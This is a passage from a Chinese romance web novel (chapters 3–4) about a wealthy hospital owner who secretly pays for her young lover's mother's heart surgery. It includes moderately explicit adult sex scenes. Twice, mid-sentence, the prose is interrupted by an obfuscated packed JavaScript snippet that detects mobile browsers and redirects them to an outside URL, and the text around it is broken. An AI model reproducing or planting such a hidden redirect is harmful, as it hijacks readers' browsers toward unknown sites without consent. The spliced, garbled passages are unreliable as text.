《未定义偏爱》 3. “有对象吗？” 摇下车窗的同时，谢连博也认出了车内的人。 “咦！你是那个很常来的姐姐？”他很欣喜，“原来是你帮我们付了钱，谢谢！” “小事，你们回去也小心点。”她微微瞟了一眼不省人事的孟景遇，“他还好吗？” “呃，不太行，第一次看他醉成那样。”谢连博无奈地说，“他哦，不知道是谁逼他守身如玉，今天有女客人靠近就在那躲，结果被不爽的客人逼酒，变成这副德性。” 宋语宸微微垂眸，安静几秒后开口：“你们宿舍是住一起？” “对，我们住一起。” “那好，你坐前面带路，让他上车。”她说，“抱歉，刘叔，麻烦你加个班。” “客气了，都是孩子，安全到家我也放心。” 谢连博把孟景遇扛上后座，宋语宸让车窗又降下了些散散气，其实他身上的酒气并不重，但是酒吧的烟味与劣质古龙水味还是很不好闻。 刘叔的开车技术是一流的，车子稳稳行驶，孟景遇被放上来的时候原本靠另一边，但一个转弯，人就倒向宋语宸那边，头就这么靠在宋语宸的肩膀上。 谢连博从后照镜看到这状况，掩嘴表情扭曲，内心在无声的尖叫，转头想伸手拍醒烂醉的兄弟，却被宋语宸制止：“不必了，他要是吐了就麻烦。” 谢连博尴尬地点头，紧张地坐在前座不敢说话。 宋语宸微微动了动肩膀，用手扳着他的头往后靠，凑近他的时候便听到含在齿间模糊不清的呢喃：“姐姐……唔……” 啧，小醉鬼，不知道自己酒量吗？还敢喝这么多？ 她拿起随身外套披在自己的身上，因为外套是宽版，所以也稍稍盖到了孟景遇一边的肩膀，她悄悄地把手搭上他的手，骨节分明，有点微凉。 “他是吧台的人吗？我怎么没碰到过？”她故作随意地开口问。 “今天因为调酒师受伤，所以他进来帮忙，而且站吧内的薪资高，他最近压力挺大的，钱也花了不少。” “学费？” “不是，是他妈妈的病，住院花费跟手术费用不少，他啊，很辛苦。” “方便问一下吗？什么样的手术？” “是心脏手术，他妈妈人挺好的，好几年前他爸过世，阿姨的身体也就垮了。” “能动心脏的手术不多，是哪家医院？” “杏林医院，阿姨以前是小学老师，心脏科的医生刚好是她的学生，所以帮了不少忙，但是私人医院啊，那花费还是摆在那。” 宋语宸吸了口气，但不是因为听到这些话，而是她感觉到另只手悄悄地动了，五根手指微微地张开，她的手指便下沉，刚好被他的指缝给夹紧，拇指指腹抚了一下她的指节。 她用眼角余光看他，但此刻他是闭眼的。 醒了？然后装睡？ 宋语宸没有再继续问，孟景遇也没有多余的动作，一直保持这样的姿势到目的地。 谢连博走到后座把人给拉下车，用很困难的姿势朝宋语宸鞠躬：“谢谢你帮忙，下次来我请你喝酒。” 她点点头，目送他们上楼后才升起车窗，车子转向驶离，过了几分钟刘叔才开口：“那是你的医院，要打通电话吗？” 宋语宸侧头靠在车窗上，缓缓地说：“别科可以，心脏科还真不想碰面。” “哦，是萧先生。”刘叔点了点头，“那天听你说有个企业有慈善合作？或许能用对方的名义？” “唔，我想想吧。” --- 孟景遇被闹钟吵醒，他翻身起来抓手机，才发现是谢连博的。 好友睡得香甜，翻衣露肚，呼声连连，他撑起身感受到宿醉的头痛欲裂，整个人好一会儿才缓过来，起身去洗把脸，最后从床底下拉出自己的包，找出手机。 没有新信息。 他记得昨天有碰到宋语宸，记得自己是如何夹紧她的手。 结果，她也没有松开。 昨天是他第一次去吧台内服务，就碰上难缠的客人，后来谢连博问了自己好几次口中的“姐姐”到底是谁，还调侃他谈恋爱了不说，他保持着最后的清醒，死不开口。 一见钟情，就发生在她坐在那边看着自己时。 半昏暗的舞台下，他就只看得见她，他看到她随着节奏的律动，感受她对自己投来的赞许眼光，还有歌曲结束后，她举起酒杯朝自己点了点头，那个笑容很美。 结束后他走去吧台，宋语宸一手托腮看着自己，微笑说：“好听。” “谢谢。” “有对象吗？” 孟景遇不知道她问这话是不是认真的？看她突然一饮而尽，豪迈地又再点了一杯，他踌躇几秒才说：“没有。” “唔，没有，那好……”她说完这句话就开始了一番抱怨，从对家里管教太严到感情失败，他看着她摇头晃脑，但说话还是很清楚，仿佛不是真的很醉。 她穿着白色的连帽卫衣，时不时下滑的粗框眼镜衬托出她鼻子的优越角度，在吧台区略昏暗的打光下，她漂亮的五官被对照得更细致迷人。 孟景遇有些口干，润了润喉，赶紧拿起水喝了一口。 而后他主动帮宋语宸结帐跟安排出租车，他小心翼翼扶着她往外走，见她突然从口袋里拿出一包烟，他自小不喜烟味，于是刻意拉远了距离。 “假的，是烟糖。”她含着说，“薄荷味的，清醒跟装逼，双重功效。” 此时开始下起雨，孟景遇见她的表情还是不太好，开口问：“会冷吗？” “不冷。”她把烟糖拿下来，揶揄一笑，“怎么，会冷你要抱我吗？” 鬼使神差地，孟景遇原先撑住她的手施了力，揽住了她。 他听到她发出似笑非笑地叹息，头一歪就顺势靠到自己胸膛上，淡淡的女性香气扑鼻而来，然后她说：“想跟我回去吗？” 他一直觉得自己不可能这样做的，可他却不想拒绝眼前的人。 但他点头了，然后她把手里含过的烟糖举到自己嘴边，他望着她有些湿润的眼睛，片刻迟疑后微微低头用嘴夹住了烟糖。 唔，真的是薄荷糖。 她没骗他，而且不只嘴巴尝到，刚才但凡她靠过的地方，都是薄荷味。 女人嘴边那抹水色潋灩，泛起红晕的双颊与肤触的潮湿温热感，又媚又蛊。 但点到为止，毕竟没套。 事后，他们一起洗澡，她伸出手把他的头压下来接吻，他笨拙的不知道该怎么做，她教他，这澡洗了好久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499060|170254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最后一起入睡。 隔天，孟景遇起身时就知道一切结束了，她是店里的客人，他清醒后才开始懊恼该怎么跟谢连博说自己再也不能去酒吧帮忙，五味杂陈的情绪交织，他整个人停滞不动。 身后的女人醒了，手伸过来拉住他，晨起的她嗓音微哑又娇媚：“唔，想去哪？” “下午有课……” 女人原先半脸埋在枕头，听到这答案就笑出声，随后微微仰头拨开脸上的头发看他：“昨天我很喜欢，你呢？” “嗯。”他顿了一下，点头。 “给，联络方式。”她解锁手机后放到他手上，“……啊还有，课表。” 他一一照做了，然后她约了第二次，第三次…… 止不住心动与未定义身份，他不知不觉接受了这样的关系。 --- 必修课结束，孟景遇答应了按摩店的调班，他看了时间还能去酒吧帮忙开店，便打算跟谢连博说一声，但下一秒萧医师的讯息跳出来：“下课后联系我一下，不急。” 孟景遇还是立即回了：“不忙，怎么了？” “好，我帮你叫个车，你来医院一趟吧。” 到了医院，直接上楼去了萧医师的办公室，对方拿出几张资料放在桌上，接着把电脑屏幕转向孟景遇：“有一家企业提供慈善赞助的名额，我去询问过，赞助的钱可以完全支付阿姨的心脏移植手术，我早上先跟老师谈过了，老师同意了，剩下就是家属签名就好。” 孟景遇有点讶异，萧医师不是个会开玩笑的人，他认真看了赞助的规则内容，这笔钱不只可以完全负担手术费用，连术后恢复的住院跟药物也有补助，几乎等于免费治病。 他难掩激动：“谢谢。” “你慢慢看一下内容，我去跟院长讨论一下进度。” 孟景遇签完的同时，萧医师也回来了：“跟我去一趟病房，有些术前说明要跟你还有老师一起说。” 他没想过会有这样的一天。 这间病房跟酒店规格一样，采光好又通风的单人房，两个护理师正弯腰与妈妈说话，萧医师带着他去不远处的沙发区打声招呼，这次是由心脏科的权威出手，也是萧医师的指导教授，老教授本人亲自解说，这让孟景遇受宠若惊。 他听完后走去看妈妈，妈妈已经睡着了，萧医师拍了拍他，两人走出病房，萧医师开口：“之后赞助的企业老板会想跟你见个面，时间我再告诉你。” “我还是觉得有点……不太现实。”孟景遇环顾周遭的装潢，就像高级酒店一般低调奢华，每个人说话都轻声细语的。 “嗯，我们是私人财团的医院，这层通常都不对外开放，是属于集团私人的医疗部门，这次的慈善合作我也很意外，过去没有过这种安排。” “可能真的运气好吧。”他吸了口气，“很谢谢您的帮忙。” “不客气，走吧，我送你下楼。” 两人搭电梯到一楼，毕竟是从私人楼层下来的，萧医师跟保安交代了一下，带着孟景遇出去，然后走没几步就停了下来。 “怎么了？” “看到院长。”萧医师的语气有些变化，“……还有个熟人。” 孟景遇转头，看到的是宋语宸。 4. 要吗？ “这个病人原本已经没什么求生欲望，多亏萧力昂的沟通，不然这大好机会就真浪费了。”院长边说边摇头，“等等听说家属会过来，今天这事应该就定了。” “好，再麻烦院长费心。” “宋总客气了，这也是我应该做的，咦……这不是萧医师吗？”院长转身看到了他们，连忙招手让他们过来。 宋语宸见到迎面而来的孟景遇，穿着黑色的七分袖跟牛仔裤，有点歪的眼镜跟乱糟糟的头发，但身高很高，所以就算是没自信的垂头，也还是很醒目。 “力昂，都处理好了吧？” “好了，我刚好要送家属离开。”萧力昂转头看孟景遇，“介绍一下，这是陈院长，另外这位是这家医院的老板，宋总。” “陈院长，谢谢。”孟景遇先朝院长微微颔首，最后才与宋语宸四目相交，“……宋总，谢谢。” “我们宋总这是为善不欲人知，这次的赞助计划，还是宋总出面去谈的，你妈妈是第一个受惠的病人。” “非常感谢您的帮忙，我会……”他望着宋语宸的眼睛几秒，又垂头，“我会好好念书。” 院长被他这回答逗笑了，宋语宸也上扬嘴角，孟景遇有些窘迫，看了一眼萧立昂。 “我要回去处理接下来的事，孟同学，我叫车送你回去。” “我来送吧，刚好我也跟孟同学聊一聊。”宋语宸开口，语气平静且不容置疑，“后面有些宣传工作需要他帮忙，时间也可以先敲定。” 萧立昂眉头微皱，但这是一个合理的理由，只是他很意外这女人会这么闲来管这种小事。 “好，院长，我跟教授谈了一些手术的细节，我跟您报告吧。” 宋语宸瞥了一眼萧立昂，啧，多年来察言观色的默契，做事总是体面。 待那两人走后，宋语宸一句话没说就转身往外走，一旁的女保镖退了几步，示意孟景遇跟上，男秘书站在车门前点头，两人上车。 车内，前座与后座已经有隔板分成两个空间，孟景遇没有先主动开口，只是盯着宋语宸滑着平板，直到平板放下，她才慢悠悠地说：“你应该有想问的，问吧。” 孟景遇把腿上的背包推到旁边，侧过身后握住她的手，十指交扣，眼神真挚地望着宋语宸，这目光逼得宋语宸躲不开。 “我今天要兼差，如果提早下班，我会去酒吧帮忙关店，然后去我同学家睡。”他轻声说，同时用指腹轻轻摩挲她，“所以看你，要吗？” 要吗？ 这两个字，又软又黏，软得让她耳根酥麻，黏得令她心神荡漾，乱乱的浏海也盖不住他胆怯又湿润的目光，她忍不住伸手拨了拨他的头发。 “没别的要问？”她的视线来到他的嘴唇上，“时机过了，我就不回答了。” 她看着他的唇，她同时也看他的，没想到她先紧张到咬唇，他抬手轻别了她的下唇，嗓音低沉沙哑：“……别咬，但可以让我亲。” 见她没有拒绝，孟景遇拿下眼镜，二话不说就欺上去深深地吻她，用她教的方式，用她喜欢的方式。 直到她有些喘不过气，他才放开，但也依旧贴着，徐徐吐息是彼此都能感受到温度的距离。 “姐姐？” 勾人的低音呢喃，让宋语宸脑子暖晕晕的，心软地说：“知道了，但我那没套了。” 孟景遇用鼻尖蹭了蹭，声音更低了：“好。” 有些话似乎应该要问，也应该要说，但彼此都没想再延续那个话题，选择用更原始的方式沟通。 孟景遇没有去帮酒吧收店，无视了谢连博在微信上的求救，果断静音。 此刻他在她身下，时而抬头看她红彤彤的脸，时而低头软香溢满，他知道怎么不让她累，也努力感受她的感受，双手环抱是为了固定住，可最后她都会推着自己，挣扎的力道一点都不重，更像是按摩。 他的手机塞包包关静音了，但她的却响了。 宋语宸身体紧绷起来，不是因为电话铃声，而是因为孟景遇贴心的把她放下来，这举动意味着要迎来极限的推拉，而要推拉的人还把手机递上来给被推拉的。 她看了一眼屏幕显示的号码，直接关机就把手机丢到一边，抬腿后熟练地找到一个支点轻轻搭上，他今天的状态很好，甚至有点好过头，本就优异的体魄在状态里更是布满张力，他长相干净端正，那双眼睛却似狺狺然，反差感让自己更爽了。 “……别磨。”他的声音沉得近乎呓语，“我来了。” …… 加上被抱着洗澡的时间，宋语宸猜现在已经快三点了，她的睡眠时钟还算准，再怎么样差不多三点都会困。 孟景遇的怀抱很舒适，也克制。 完事后她也会有一段贤者时间，有时候会忍不住开始碎碎念工作，有时也会突然没来由讲到前夫就气哭，又或者突然看不顺眼他哪边，要他改。 他大多时候是安静的听，她也没想要什么回应。 不过她发现他会照做，在她头一回嫌弃他身上的味道后。 这样挺好。 宋语宸的一举一动，孟景遇感受得到，现在她终于睡着了。 这次没有说不完的话，也没有嫌弃自己缺点…… 妈妈这件事是怎么回事，他心知肚明，如果没有这个关系，自己根本没能力救活挚亲。如今宋语宸不说，但他理解这可以是交换，也可以是补偿，甚至可以是施舍。 孟景遇知道，这段关系好像要结束了。 隔天，孟景遇先起床了，宋语宸还在睡，他轻手轻脚地下床去拿自己手机，99+的通知全部来自于谢连博，谢连博本来是发文字求救，最后都变成一条条语音信息。 骂的挺凶，因为昨天酒吧生意很好。 他回了一句：“刚起，昨天去签了我妈的心脏移植同意书了。”然后发送。 他知道谢连博看到这句话就不会追究了。 再来是按摩店的班表确认，排班最近变多了，昨天也晚了半小时下班，还好时间有来得及。 该回的讯息都回完后，他听到棉被翻动的声音，转身便看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499061|170254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋语宸下床了。 “今天早上有课吗？” “有。” “我先洗澡，你要洗也可以去隔壁的客卧，然后下去吃早餐。” 孟景遇不知道隔壁是客卧，但他还是去了，碰到了钟点打扫的女佣，对方正清扫到一半，在他表明要借用浴室后，对方就出去了。 半开的衣柜，女佣才收拾到一半，他看得出来是男性的休闲服。 孟景遇把随身物品也带进了浴室里，快速地冲完澡后就往客厅走，此时已经有一男一女坐在沙发上，各自抱着电脑在工作，他认出其中一人，是昨天见到面的男秘书。 之前没有看过他们进来，都是另外一个年纪比较大的先生。 “早安。”男秘书率先看到他，打量了他几秒，“早餐在那边。” 他轻声道谢，厨房是半开放式的设计，餐桌是一个原木大长桌，一边是摆盘好的欧姆蛋加义大利面，而另一边是巷口早餐店的豆浆跟葱油饼，摆在一起很格格不入。 孟景遇安静地喝豆浆，很快的宋语宸也过来了，坐在他旁边喝了一口水，两个秘书就过来开始讲工作行程，他不敢吃葱油饼，因为塑胶袋子的声音会干扰，只能默默地滑手机。 宋语宸拿起咖啡喝了一口，发出了啧的一声，孟景遇听到了立刻转头，眼前的两位秘书的表情有点不好，宋语宸瞥了一眼看到他的豆浆，直接拿过来吸了一口：“继续，所以董事长要求去技术部门看，那这次又要动多少人……” 她的状态是丝毫没有被打断，当秘书递上平板时，孟景遇看到她的手肘要靠在桌面时可能会碰到早餐盘子，主动的拉远了一点。 他的举动让眼前的两个秘书交换了眼神，但依旧保持高度专注力在工作上，准确地回答宋语宸的问题，宋语宸滑着数据报表看了几下，头没有转地开口说：“早餐你吃吧。” 这个你指的是谁，除她之外的三个人都陷入了几秒的思考停顿，但孟景遇先反应过来了，把早餐大盘子缓缓拉到自己面前，没有马上吃，宋语宸这时撇头看他：“要我喂你？” 他立刻开动，小心地不发出声音，耳根不争气的红了起来。 宋语宸继续工作，待行程确定差不多后，两个秘书先离开去楼下开车，他看着她走进卧室几分钟，然后穿戴整齐地走出来，弯腰拿沙发上包包的同时对他说：“吃完再去上课。” “好。” 本以为这样就结束，没想到宋语宸朝他走来，直接吃了一口他卷起来的义大利面，还发出了轻轻低哼，抬眸看向自己：“谢谢。”也没给孟景遇反应的时间，她旋身迈步离开，留下大门关闭时的滴滴两声。 就算等得比平常时间还久，身为宋语宸在位时间最长的秘书，赵志航也忍不住想八卦这个现况，但女秘书方心看起来兴致缺缺，他只能按捺下来。 总算看到老板下楼了，赵志航拉开车门，然后方心也坐进去，赵志航回驾驶座。 “要不要再帮您叫一份餐点到办公室？”方心问。 “不用，刚吃了。”